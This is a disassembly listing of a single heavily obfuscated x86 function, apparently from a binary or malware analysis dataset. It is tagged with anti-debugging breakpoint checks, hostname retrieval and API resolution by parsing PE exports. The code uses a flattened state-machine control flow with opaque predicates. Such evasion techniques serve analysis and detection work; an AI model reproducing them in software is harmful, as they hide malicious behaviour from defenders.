Function at 0x433300
Capabilities:
Check for software breakpoints
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x310
mov esi, esp
mov dword [esi], 0x7b829d7e
mov eax, dword [esi]
cmp eax, 0xf884d28c
jg 0x43339d
cmp eax, 0xba19f149
jle 0x43342b
cmp eax, 0xd88ce2ba
jg 0x433536
cmp eax, 0xc7e3c84e
jle 0x433717
cmp eax, 0xd2823ab6
jle 0x433a93
cmp eax, 0xd5e027da
jg 0x43404c
cmp eax, 0xd426a01a
jg 0x434a95
cmp eax, 0xd2823ab7
je 0x435d12
cmp eax, 0xd35847e5
je 0x435d34
cmp eax, 0xd40c2a9b
jne 0x433317
push 0x1e
push dword [esi + 0xd8]
push dword [esi + 0x54]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x1314e9f5
jmp 0x433317
cmp eax, 0x301d9480
jg 0x43349f
cmp eax, 0x1314e9f4
jle 0x4335a9
cmp eax, 0x1fcf7e49
jle 0x433775
cmp eax, 0x2b64cc5c
jle 0x433b00
cmp eax, 0x2e3110c4
jg 0x4340b8
cmp eax, 0x2cecd9f3
jg 0x434ae3
cmp eax, 0x2b64cc5d
je 0x435d5e
cmp eax, 0x2ba63e6d
je 0x435d69
cmp eax, 0x2cb551f6
jne 0x433317
imul ecx, dword [esi + 4], 0x77c4
add ecx, 0xfffffaf8
mov dword [esi + 4], ecx
mov eax, 0x19710da0
cmp ecx, 0xe3
jge 0x438402
mov eax, 0xa87d953
jmp 0x438402
cmp eax, 0x9d4ee771
jle 0x43362e
cmp eax, 0xab04b21c
jle 0x4337e0
cmp eax, 0xb14b28f0
jle 0x433b58
cmp eax, 0xb48e79f5
jg 0x43411a
cmp eax, 0xb218a539
jg 0x434b34
cmp eax, 0xb14b28f1
je 0x435d96
cmp eax, 0xb1520a45
je 0x435da4
cmp eax, 0xb1a57c9a
jne 0x433317
mov ecx, dword [esi + 4]
add ecx, 0xffffffdc
mov dword [esi + 4], ecx
mov eax, 0x630b484b
cmp ecx, 0x61
jge 0x437cd9
jmp 0x43836e
cmp eax, 0x5201ec0b
jle 0x433692
cmp eax, 0x6a332554
jle 0x43383b
cmp eax, 0x73087032
jle 0x433b9a
cmp eax, 0x79322a21
jg 0x434169
cmp eax, 0x7590f0fd
jg 0x434b88
cmp eax, 0x73087033
je 0x435de0
cmp eax, 0x74b82696
je 0x435e05
cmp eax, 0x753381f7
jne 0x433317
mov ecx, dword [esi + 8]
shr ecx, 9
and ecx, 0xfffff
imul eax, ecx, 0xc9
imul ecx, ecx, 0x9f63
imul eax, eax
shr ecx, 0xa
imul edx, eax, 0x8547
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x375c1a1a
cmp eax, edx
je 0x4381ca
mov ecx, 0x674fda92
jmp 0x4381ca
cmp eax, 0xe6fb631c
jle 0x4338b2
cmp eax, 0xf1b89797
jle 0x433bfb
cmp eax, 0xf59aa410
jg 0x4341e2
cmp eax, 0xf4663ab0
jg 0x434bcf
cmp eax, 0xf1b89798
je 0x435e2a
cmp eax, 0xf33e381b
je 0x435e64
cmp eax, 0xf44ecfb2
jne 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x80]
add eax, 0xd
mov dword [esi + 0x154], eax
mov dword [esi], 0xeb1fd2bb
jmp 0x433317
cmp eax, 0x6f32ba3
jg 0x43391b
cmp eax, 0x127c5d6
jg 0x433c47
cmp eax, 0xfe34094b
jg 0x43421d
cmp eax, 0xfbe923ff
jg 0x434c0a
cmp eax, 0xf884d28d
je 0x435e92
cmp eax, 0xf92adab8
je 0x435ea6
cmp eax, 0xfbae6897
jne 0x433317
mov edi, dword [esi + 4]
mov eax, 0xfffffea4
add edi, eax
mov dword [esi + 4], edi
push 0x32ea
push edi
push 0x3315
call fcn.0042448a
add esp, 0xc
mov eax, 0x8b26ba60
cmp edi, 0x31
jge 0x438402
mov eax, 0x93d0aca9
jmp 0x438402
cmp eax, 0x8e6e61a7
jg 0x43398d
cmp eax, 0x86c08b95
jg 0x433cef
cmp eax, 0x83fc6d77
jle 0x434275
cmp eax, 0x8509b7d7
jg 0x434c45
cmp eax, 0x83fc6d78
je 0x435ec0
cmp eax, 0x8410c221
je 0x435ed6
cmp eax, 0x84554dd1
jne 0x433317
mov eax, dword [esi + 0x6c]
add eax, 0xb
mov dword [esi + 0x12c], eax
mov dword [esi], 0xf884d28d
jmp 0x433317
cmp eax, 0x408dfb0b
jg 0x433a19
cmp eax, 0x369d02ba
jg 0x433d57
cmp eax, 0x3354f553
jle 0x4342ac
cmp eax, 0x3597512a
jg 0x434c95
cmp eax, 0x3354f554
je 0x435f29
cmp eax, 0x3361bb01
je 0x435f4f
cmp eax, 0x3478b7e1
jne 0x433317
mov eax, dword [esi + 8]
lea ecx, [eax + 0xdc]
imul ecx, ecx
imul edx, ecx, 0x426b
dec edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
add eax, 0x222e
mov dword [esi + 8], eax
mov eax, 0xed1b63f6
cmp edx, ecx
je 0x43836e
mov eax, 0xa0154fbc
jmp 0x43836e
cmp eax, 0xc0cd4a33
jg 0x433d99
cmp eax, 0xbd121000
jle 0x4342fc
cmp eax, 0xbeafbe87
jg 0x434ce6
cmp eax, 0xbd121001
je 0x435f64
cmp eax, 0xbd4ff6ac
je 0x435f6f
cmp eax, 0xbde0d5d0
jne 0x433317
imul eax, dword [esi + 8], 0x798000
add eax, 0xffb60000
shr eax, 1
mov dword [esi + 8], eax
mov dword [esi], 0xc7e3c84f
jmp 0x433317
cmp eax, 0x18d9f314
jg 0x433ddb
cmp eax, 0x157b8e01
jle 0x434333
cmp eax, 0x15fa78a3
jg 0x434d28
cmp eax, 0x157b8e02
je 0x435f96
cmp eax, 0x15a09b8c
je 0x435fbd
cmp eax, 0x15d2c650
jne 0x433317
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1c4], eax
mov dword [esi], 0xc612c5ad
jmp 0x433317
cmp eax, 0xa2289dff
jg 0x433e39
cmp eax, 0xa01a6a87
jle 0x434379
cmp eax, 0xa141c1eb
jg 0x434d7a
cmp eax, 0xa01a6a88
je 0x435fd4
cmp eax, 0xa0519cc0
je 0x435ff6
cmp eax, 0xa098f6f1
jne 0x433317
mov eax, dword [esi + 8]
shl eax, 0xe
add eax, 0xffc2bf9c
mov dword [esi + 8], eax
mov dword [esi], 0xc5e14dae
jmp 0x433317
cmp eax, 0x5ab416cf
jg 0x433e8e
cmp eax, 0x5616715b
jle 0x4343be
cmp eax, 0x58d7c06f
jg 0x434dcb
cmp eax, 0x5616715c
je 0x43600c
cmp eax, 0x56e558fd
je 0x436029
cmp eax, 0x579967ae
jne 0x433317
mov ecx, dword [esi + 8]
add ecx, 0x69
mov eax, ecx
shr eax, 0xc
imul eax, eax
shr ecx, 0x16
imul edx, eax, 0x70eb
dec edx
imul ecx, ecx, 0x52
mov dword [esi + 8], ecx
mov ecx, 0xdc12883b
cmp edx, eax
je 0x4381ca
mov ecx, 0x12952900
jmp 0x4381ca
cmp eax, 0xe2af09d7
jg 0x433ee1
cmp eax, 0xdcc6f547
jle 0x434428
cmp eax, 0xe0ce4394
jg 0x434e11
cmp eax, 0xdcc6f548
je 0x436063
cmp eax, 0xddae6694
je 0x436099
cmp eax, 0xdea971bc
jne 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xffffff55
add eax, ecx
shr eax, 9
imul eax, eax, 0xe8
shr eax, 0xc
add eax, 0xffffffa6
mov dword [esi + 8], eax
mov dword [esi], 0x6c7ffcc
jmp 0x433317
cmp eax, 0xdd53c67
jg 0x433f37
cmp eax, 0xa87d952
jle 0x434487
cmp eax, 0xc805c98
jg 0x434e3d
cmp eax, 0xa87d953
je 0x4360d8
cmp eax, 0xb7f4f9c
je 0x4360fc
cmp eax, 0xb92cdf6
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 0xe
imul ecx, eax, 0xa6600000
imul eax, eax
imul edx, eax, 0x5afb
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x9ddfb641
cmp edx, eax
je 0x4381ca
mov ecx, 0xfbe92400
jmp 0x4381ca
cmp eax, 0x9659fc8a
jg 0x433f92
cmp eax, 0x92472d10
jle 0x4344e6
cmp eax, 0x94d41fcb
jg 0x434ea4
cmp eax, 0x92472d11
je 0x436130
cmp eax, 0x93d0aca9
je 0x436156
cmp eax, 0x9487decb
jne 0x433317
mov edi, dword [esi + 4]
shl edi, 0xe
add edi, 0xfffa2000
mov dword [esi + 4], edi
push 0x2d77
push 0x3e7b
push 0x8b8
push edi
call fcn.004384b0
add esp, 0x10
push edi
push 0x5037
push 0x3a09
push 0x5073
call fcn.00438550
add esp, 0x10
mov dword [esi], 0xc3c216ce
jmp 0x433317
cmp eax, 0x472e3cbf
jg 0x433ffc
cmp eax, 0x427e6b9b
jle 0x434554
cmp eax, 0x4475c09b
jg 0x434f44
cmp eax, 0x427e6b9c
je 0x4361ab
cmp eax, 0x43745cb4
je 0x4361b6
cmp eax, 0x444b1400
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 0xd
add eax, 0xe0
imul ecx, eax, 0x74
imul eax, eax
imul edx, eax, 0x4ff1
dec edx
add ecx, 0xfffffeea
mov dword [esi + 8], ecx
mov ecx, 0xab637620
cmp edx, eax
je 0x4381ca
mov ecx, 0x630b484b
jmp 0x4381ca
cmp eax, 0xcf0ed0fb
jle 0x43458b
cmp eax, 0xd02223bd
jg 0x434f86
cmp eax, 0xcf0ed0fc
je 0x4361d6
cmp eax, 0xcf303784
je 0x4361fe
cmp eax, 0xd00f3da3
jne 0x433317
imul edi, dword [esi + 4], 0x1f20
add edi, 0x460
mov dword [esi + 4], edi
push edi
push 0x10aa
push 0x456e
call fcn.0042448a
add esp, 0xc
mov eax, 0xf0558411
cmp edi, 0x22
jl 0x437f50
jmp 0x43836e
cmp eax, 0x26aae735
jle 0x4345ed
cmp eax, 0x2953b9f5
jg 0x434fe2
cmp eax, 0x26aae736
je 0x436254
cmp eax, 0x26f04997
je 0x436277
cmp eax, 0x2709ba19
jne 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x9c]
mov byte [eax + 0xc], 0
mov dword [esi], 0x90a7d722
jmp 0x433317
cmp eax, 0xad5b1701
jle 0x43465c
cmp eax, 0xb04edff8
jg 0x43503c
cmp eax, 0xad5b1702
je 0x4362b9
cmp eax, 0xaf92ce38
je 0x4362fa
cmp eax, 0xaff9186a
jne 0x433317
mov dword [esi], 0x44c10536
jmp 0x433317
cmp eax, 0x6b406906
jle 0x4346a7
cmp eax, 0x6f4f0b34
jg 0x43507e
cmp eax, 0x6b406907
je 0x436324
cmp eax, 0x6d1dd2ca
je 0x436345
cmp eax, 0x6d5ca6a6
jne 0x433317
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0x9c]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x753381f7
jmp 0x433317
cmp eax, 0xec44c6ed
jle 0x4346de
cmp eax, 0xede0b7b0
jg 0x4350b9
cmp eax, 0xec44c6ee
je 0x436394
cmp eax, 0xed1b63f6
je 0x4363fc
cmp eax, 0xedd65c39
jne 0x433317
mov eax, dword [esi + 0x94]
mov byte [eax + 0x14], 0
mov dword [esi], 0x56e558fd
jmp 0x433317
cmp eax, 0x31419f3
jle 0x434719
cmp eax, 0x4a38f20
jg 0x4350f3
cmp eax, 0x31419f4
je 0x43642a
cmp eax, 0x3fd5b54
je 0x43646f
cmp eax, 0x455283a
jne 0x433317
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0x10]
add eax, 0x10
mov dword [esi + 0x1b4], eax
mov dword [esi], 0x5d2b445
jmp 0x433317
cmp eax, 0x896a37de
jle 0x434750
cmp eax, 0x8bd3325b
jg 0x43512b
cmp eax, 0x896a37df
je 0x4364b6
cmp eax, 0x8a93974e
je 0x436510
cmp eax, 0x8b26ba60
jne 0x433317
mov eax, dword [esi + 0x1c4]
mov ecx, dword [esi + 0x1d0]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c8]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x10]
add eax, 0x2c
mov dword [esi + 0x1d4], eax
mov dword [esi], 0x2b60bfed
jmp 0x433317
cmp eax, 0x398a740d
jle 0x4347a0
cmp eax, 0x3df9b995
jg 0x435184
cmp eax, 0x398a740e
je 0x436529
cmp eax, 0x3b0a7754
je 0x436543
cmp eax, 0x3d690808
jne 0x433317
mov dword [esi], 0xa7949b7e
jmp 0x433317
cmp eax, 0xc506f8e9
jle 0x4347f1
cmp eax, 0xc612c5ac
jg 0x4351d2
cmp eax, 0xc506f8ea
je 0x43658a
cmp eax, 0xc5819afb
je 0x436595
cmp eax, 0xc5e14dae
jne 0x433317
mov dword [esi], 0x4160e19b
jmp 0x433317
cmp eax, 0x1b9c2851
jle 0x434836
cmp eax, 0x1d8ef529
jg 0x435226
cmp eax, 0x1b9c2852
je 0x4365ca
cmp eax, 0x1c21aa61
je 0x436624
cmp eax, 0x1cdc5410
jne 0x433317
mov edi, dword [esi + 4]
shl edi, 0xe
add edi, 0xffffff67
mov dword [esi + 4], edi
call fcn.00407d26
mov eax, 0xe112a8d8
cmp edi, 0x1b
jl 0x437afe
jmp 0x43836e
cmp eax, 0xa645f8e3
jle 0x434884
cmp eax, 0xa8be00b8
jg 0x43527a
cmp eax, 0xa645f8e4
je 0x43664a
cmp eax, 0xa7949b7e
je 0x436655
cmp eax, 0xa8ac93ea
jne 0x433317
push 0x15
push dword [esi + 0x94]
push dword [esi + 0x44]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x55e9cc84
jmp 0x433317
cmp eax, 0x630b484a
jle 0x4348c4
cmp eax, 0x65cb1f61
jg 0x4352f8
cmp eax, 0x630b484b
je 0x43667a
cmp eax, 0x6481c9f3
je 0x43668e
cmp eax, 0x64f6c2e5
jne 0x433317
mov eax, dword [esi + 8]
shl eax, 5
and eax, 0xfffe0
add eax, 0xfffffff8
mov dword [esi + 8], eax
mov dword [esi], 0xddae6694
jmp 0x433317
cmp eax, 0xe49f780d
jle 0x434925
cmp eax, 0xe57461c2
jg 0x435357
cmp eax, 0xe49f780e
je 0x4366b3
cmp eax, 0xe5444044
je 0x4366e9
cmp eax, 0xe5545476
jne 0x433317
mov eax, dword [esi + 8]
mov ecx, 0x3ffffff
and eax, ecx
lea eax, [eax*4 + 0xe7]
mov dword [esi + 8], eax
mov dword [esi], 0x8a93974e
jmp 0x433317
cmp eax, 0x1078dc1b
jle 0x434985
cmp eax, 0x1171bc8f
jg 0x4353a2
cmp eax, 0x1078dc1c
je 0x4366fd
cmp eax, 0x10f35983
je 0x436724
cmp eax, 0x114320ae
jne 0x433317
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
call fcn.0042353e
mov dword [esi + 0x17c], eax
mov dword [esi], 0xa1a452a5
jmp 0x433317
cmp eax, 0x9a40de0f
jle 0x4349cb
cmp eax, 0x9c2fd434
jg 0x4353f8
cmp eax, 0x9a40de10
je 0x436736
cmp eax, 0x9c15aef3
je 0x436772
cmp eax, 0x9c2167db
jne 0x433317
imul edi, dword [esi + 4], 0x11718
mov eax, edi
shr eax, 0xd
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
mov eax, 0xedd65c39
cmp edi, 0x1ac000
jb 0x438402
mov eax, 0x3df9b996
jmp 0x438402
cmp eax, 0x4d3b7e03
jle 0x434a29
cmp eax, 0x4fabe3a1
jg 0x435441
cmp eax, 0x4d3b7e04
je 0x4367a8
cmp eax, 0x4e4af96b
je 0x4367c7
cmp eax, 0x4f3bd559
jne 0x433317
mov eax, dword [esi + 0x194]
mov ecx, dword [esi + 0x19c]
mov dword [ecx], eax
mov dword [esi], 0x6b36a75c
jmp 0x433317
cmp eax, 0xd73ceb26
jg 0x43547c
cmp eax, 0xd5e027db
je 0x436808
cmp eax, 0xd5e1a957
je 0x436816
cmp eax, 0xd6d9a043
jne 0x433317
mov edi, dword [esi + 4]
shr edi, 0x11
mov dword [esi + 4], edi
push 0x2924
push edi
push 0x1ada
push 0x4dbe
call fcn.00438550
add esp, 0x10
push edi
call fcn.00433300
add esp, 4
mov eax, 0x7f31619f
cmp edi, 0xc7
jne 0x436dfd
jmp 0x43836e
cmp eax, 0x2e8f3ae4
jg 0x4354ef
cmp eax, 0x2e3110c5
je 0x436836
cmp eax, 0x2e79a0db
je 0x436848
cmp eax, 0x2e8e5f5e
jne 0x433317
mov ecx, dword [esi + 8]
imul eax, ecx, 0xbf
imul ecx, ecx, 0x2fc00
imul eax, eax
imul edx, eax, 0x5299
dec edx
add ecx, 0xfffffff6
mov dword [esi + 8], ecx
mov ecx, 0xd562ff25
cmp eax, edx
je 0x4381ca
mov ecx, 0xe1cbe720
jmp 0x4381ca
cmp eax, 0xb6a34bc1
jg 0x435547
cmp eax, 0xb48e79f6
je 0x436878
cmp eax, 0xb5399fba
je 0x436883
cmp eax, 0xb66cf8ed
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 3
imul eax, eax, 0xa6
add eax, 0x63
shr eax, 0xa
imul eax, eax, 0x69
mov dword [esi + 8], eax
mov dword [esi], 0x3df9b996
jmp 0x433317
cmp eax, 0x7c4f8090
jg 0x43557c
cmp eax, 0x79322a22
je 0x4368bb
cmp eax, 0x7a18dbdd
je 0x43698c
cmp eax, 0x7b829d7e
jne 0x433317
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
mov dword [esi], 0x7a18dbdd
jmp 0x433317
cmp eax, 0xf7f4c540
jg 0x4355bd
cmp eax, 0xf59aa411
je 0x4369c2
cmp eax, 0xf5ffcb43
je 0x436a1d
cmp eax, 0xf7292251
jne 0x433317
shl dword [esi + 4], 0xc
mov dword [esi], 0x157b8e02
jmp 0x433317
cmp eax, 0xff0f7584
jle 0x435608
cmp eax, 0xff0f7585
je 0x436a62
cmp eax, 0xff6a3c06
je 0x436a81
cmp eax, 0x579704
jne 0x433317
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 4
add eax, 0x5d
shr eax, 0xd
mov dword [esi + 4], eax
mov eax, 0xa953ddc3
cmp ecx, 0x169fa30
jb 0x438402
mov eax, 0x6c7ffcc
jmp 0x438402
cmp eax, 0x826ee42c
jle 0x43562c
cmp eax, 0x826ee42d
je 0x436a8c
cmp eax, 0x82fc375f
je 0x436a97
cmp eax, 0x8390bd74
jne 0x433317
mov dword [esi], 0xeb103755
jmp 0x433317
cmp eax, 0x3266c6c9
jle 0x43564d
cmp eax, 0x3266c6ca
je 0x436ab1
cmp eax, 0x3276d90c
je 0x436ace
cmp eax, 0x3325a9b7
jne 0x433317
push dword [esi + 0xd4]
push 0x5f086d32
call fcn.0043b928
add esp, 8
mov dword [esi + 0x1e0], eax
mov dword [esi], 0xff6a3c06
jmp 0x433317
cmp eax, 0xba6311c3
jle 0x43567e
cmp eax, 0xba6311c4
je 0x436aff
cmp eax, 0xbae1f94a
je 0x436b27
cmp eax, 0xbb71be43
jne 0x433317
mov dword [esi], 0x5eb38df1
jmp 0x433317
cmp eax, 0x1401a1cb
jle 0x4356d9
cmp eax, 0x1401a1cc
je 0x436b86
cmp eax, 0x150f2f51
je 0x436bcf
cmp eax, 0x154e76aa
jne 0x433317
imul eax, dword [esi + 8], 0xc6ea
add eax, 0x1842
mov dword [esi + 8], eax
mov dword [esi], 0xd5c46b10
jmp 0x433317
cmp eax, 0x9dfccdd6
jle 0x435711
cmp eax, 0x9dfccdd7
je 0x436bde
cmp eax, 0x9f39c676
je 0x436be9
cmp eax, 0xa0154fbc
jne 0x433317
mov eax, dword [esi + 0x1dc]
mov word [eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi], 0x6b38afcd
jmp 0x433317
cmp eax, 0x52f1c847
jle 0x4357aa
cmp eax, 0x52f1c848
je 0x436c16
cmp eax, 0x54c5384c
je 0x436c24
cmp eax, 0x55e9cc84
jne 0x433317
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xe0]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], pe_nt_image_headers32
mov dword [esi], 0x8792d193
jmp 0x433317
cmp eax, 0xd9c3e8ef
jle 0x43580c
cmp eax, 0xd9c3e8f0
je 0x436c6f
cmp eax, 0xd9df720d
je 0x436cb4
cmp eax, 0xdc12883b
jne 0x433317
mov edi, dword [esi + 4]
shl edi, 0xa
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
push edi
call fcn.00433300
add esp, 4
mov eax, 0x674fda92
cmp edi, 0x1a
jl 0x438402
mov eax, 0x6145a3fc
jmp 0x438402
cmp eax, 0x7fe3d79
jle 0x435855
cmp eax, 0x7fe3d7a
je 0x436cbf
cmp eax, 0x9846d7b
je 0x436cdc
cmp eax, 0xa2b8fef
jne 0x433317
mov edi, dword [esi + 4]
mov eax, edi
shr eax, 0xf
add eax, 0xffffffbb
mov dword [esi + 4], eax
call fcn.00407d26
call fcn.00407d26
mov eax, 0x31419f4
cmp edi, 0x4f0000
jb 0x43836e
mov eax, 0x1cdc5410
jmp 0x43836e
cmp eax, 0x8ecd0d60
jle 0x4358a4
cmp eax, 0x8ecd0d61
je 0x436ce7
cmp eax, 0x8efadeee
je 0x43846a
cmp eax, 0x90a7d722
jne 0x433317
mov eax, dword [esi + 0x9c]
mov ecx, dword [0x46f601]
mov dword [eax + 8], ecx
mov ecx, dword [0x46f5fd]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f5f9]
mov dword [eax], ecx
push 6
push 0x46f605
push 0xc
push dword [esi + 0x9c]
call fcn.00438550
add esp, 0x10
mov dword [esi], 0x6d5ca6a6
jmp 0x433317
cmp eax, 0x4160e19a
jle 0x4358e9
cmp eax, 0x4160e19b
je 0x436d18
cmp eax, 0x41e179c3
je 0x436d50
cmp eax, 0x425df280
jne 0x433317
mov dword [esi], 0x1adb96c9
jmp 0x433317
cmp eax, 0xcaa99b04
jle 0x435937
cmp eax, 0xcaa99b05
je 0x436d6c
cmp eax, 0xcad77578
je 0x436d77
cmp eax, 0xce7ace38
jne 0x433317
imul eax, dword [esi + 8], 0xcf
shr eax, 0xe
lea ecx, [eax + 4]
imul ecx, ecx
imul edx, ecx, 0x24c1
dec edx
add eax, 0x162
mov dword [esi + 8], eax
mov eax, 0xf85c6f06
cmp ecx, edx
je 0x43836e
mov eax, 0x81e12f62
jmp 0x43836e
cmp eax, 0x222ed80a
jle 0x435980
cmp eax, 0x222ed80b
je 0x436db5
cmp eax, 0x2348d221
je 0x436e07
cmp eax, 0x24f64721
jne 0x433317
imul edi, dword [esi + 4], 0xd4
shr edi, 0x1f
mov dword [esi + 4], edi
push 0x36de
push 0x4fd
push edi
push 0x707
call fcn.00438550
add esp, 0x10
push 0x624a
push 0x4931
push edi
call fcn.0042448a
add esp, 0xc
mov dword [esi], 0x1adb96c9
jmp 0x433317
cmp eax, 0xab8a5b54
jle 0x4359c7
cmp eax, 0xab8a5b55
je 0x436e2c
cmp eax, 0xac4128e7
je 0x436e66
cmp eax, 0xacd3253b
jne 0x433317
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x158], eax
mov dword [esi], 0xb0fa851f
jmp 0x433317
cmp eax, 0x6a910d01
jle 0x435a2d
cmp eax, 0x6a910d02
je 0x436ebe
cmp eax, 0x6b36a75c
je 0x436edc
cmp eax, 0x6b38afcd
jne 0x433317
mov dword [esi], 0x2ba63e6d
jmp 0x433317
cmp eax, 0xeb070363
jle 0x435a6a
cmp eax, 0xeb070364
je 0x436f0f
cmp eax, 0xeb103755
je 0x436f31
cmp eax, 0xeb1fd2bb
jne 0x433317
shl dword [esi + 8], 8
mov dword [esi], 0x9ddfb641
jmp 0x433317
cmp eax, 0x181c18e
jle 0x435a9e
cmp eax, 0x181c18f
je 0x436f3c
cmp eax, 0x188fec6
je 0x436f80
cmp eax, 0x229630c
jne 0x433317
mov dword [esi], 0xcaa99b05
jmp 0x433317
cmp eax, 0x8792d192
jle 0x435ae9
cmp eax, 0x8792d193
je 0x436fa2
cmp eax, 0x87978f14
je 0x436fbc
cmp eax, 0x87c33b4e
jne 0x433317
mov ecx, dword [esi + 4]
add ecx, 0x2d
mov dword [esi + 4], ecx
mov eax, 0x80002f72
cmp ecx, 0xd1
je 0x43836e
mov eax, 0x4a38f21
jmp 0x43836e
cmp eax, 0x375c1a19
jle 0x435b15
cmp eax, 0x375c1a1a
je 0x436fca
cmp eax, 0x3825f49b
je 0x436fe6
cmp eax, 0x39083938
jne 0x433317
mov eax, dword [esi + 0x180]
mov word [eax], 0xa
mov eax, dword [esi + 0x44]
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi], 0xd5e1a957
jmp 0x433317
cmp eax, 0xc3c216cd
jle 0x435b4d
cmp eax, 0xc3c216ce
je 0x437002
cmp eax, 0xc3ec41d0
je 0x437058
cmp eax, 0xc45b011c
jne 0x433317
mov eax, dword [esi + 8]
shl eax, 7
and eax, 0x3fff80
mov dword [esi + 8], eax
mov dword [esi], 0x408dfb0c
jmp 0x433317
cmp eax, 0x1adb96c8
jle 0x435b78
cmp eax, 0x1adb96c9
je 0x437098
cmp eax, 0x1af124cf
je 0x4370aa
cmp eax, 0x1b484b2e
jne 0x433317
imul eax, dword [esi + 8], 0x52
add eax, 0xffffd93e
shr eax, 2
add eax, 0xffffff2c
shr eax, 0xd
mov dword [esi + 8], eax
mov dword [esi], 0xdd53c68
jmp 0x433317
cmp eax, 0xa4597234
jle 0x435bb6
cmp eax, 0xa4597235
je 0x43710e
cmp eax, 0xa520232e
je 0x437137
cmp eax, 0xa63b2d64
jne 0x433317
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0xfd4792a
jmp 0x433317
cmp eax, 0x5e631d96
jle 0x435c01
cmp eax, 0x5e631d97
je 0x437158
cmp eax, 0x5eb38df1
je 0x437194
cmp eax, 0x6145a3fc
jne 0x433317
mov edi, dword [esi + 4]
shl edi, 0x16
or edi, 0xb800
mov dword [esi + 4], edi
push 0x288c
push 0x475d
push edi
call fcn.0042448a
add esp, 0xc
mov eax, 0xf5ffcb43
cmp edi, 0x60
jl 0x436a58
jmp 0x438402
cmp eax, 0xe2f223ee
jle 0x435c4f
cmp eax, 0xe2f223ef
je 0x4371ab
cmp eax, 0xe2fec062
je 0x4371b6
cmp eax, 0xe38d4443
jne 0x433317
mov eax, dword [esi + 8]
mov ecx, 0x138
add eax, ecx
imul ecx, eax, 0x888
imul eax, eax
imul edx, eax, 0x1f63
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xcf0ed0fc
cmp edx, eax
je 0x4381ca
mov ecx, 0x41e179c3
jmp 0x4381ca
cmp eax, 0xe99d363
jle 0x435c79
cmp eax, 0xe99d364
je 0x4371c1
cmp eax, 0xf3a760c
je 0x4371db
cmp eax, 0xfd4792a
jne 0x433317
imul eax, dword [esi + 8], 0x501000
add eax, 0x104375da
mov dword [esi + 8], eax
mov dword [esi], 0xe2f223ef
jmp 0x433317
cmp eax, 0x98fbf504
jle 0x435cab
cmp eax, 0x98fbf505
je 0x43720b
cmp eax, 0x996aa53e
je 0x43723b
cmp eax, 0x99c5c021
jne 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xffffff66
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7cb7
dec edx
shr eax, 1
mov dword [esi + 8], eax
mov eax, 0x1171bc90
cmp ecx, edx
je 0x43836e
mov eax, 0x3354f554
jmp 0x43836e
cmp eax, 0x47ca0204
jle 0x435ce2
cmp eax, 0x47ca0205
je 0x43726c
cmp eax, 0x486cf2cd
je 0x4372c2
cmp eax, 0x4bc4c343
jne 0x433317
mov eax, dword [esi + 4]
lea edi, [eax*4 - 6]
mov dword [esi + 4], edi
push 0x1116
push 0x1af8
push 0x5f20
push edi
call fcn.004384b0
add esp, 0x10
call fcn.00407d26
mov eax, 0x8eaab81d
cmp edi, 0xa4
jge 0x43624a
jmp 0x43836e
cmp eax, 0xd426a01b
je 0x4372f1
cmp eax, 0xd562ff25
je 0x43730b
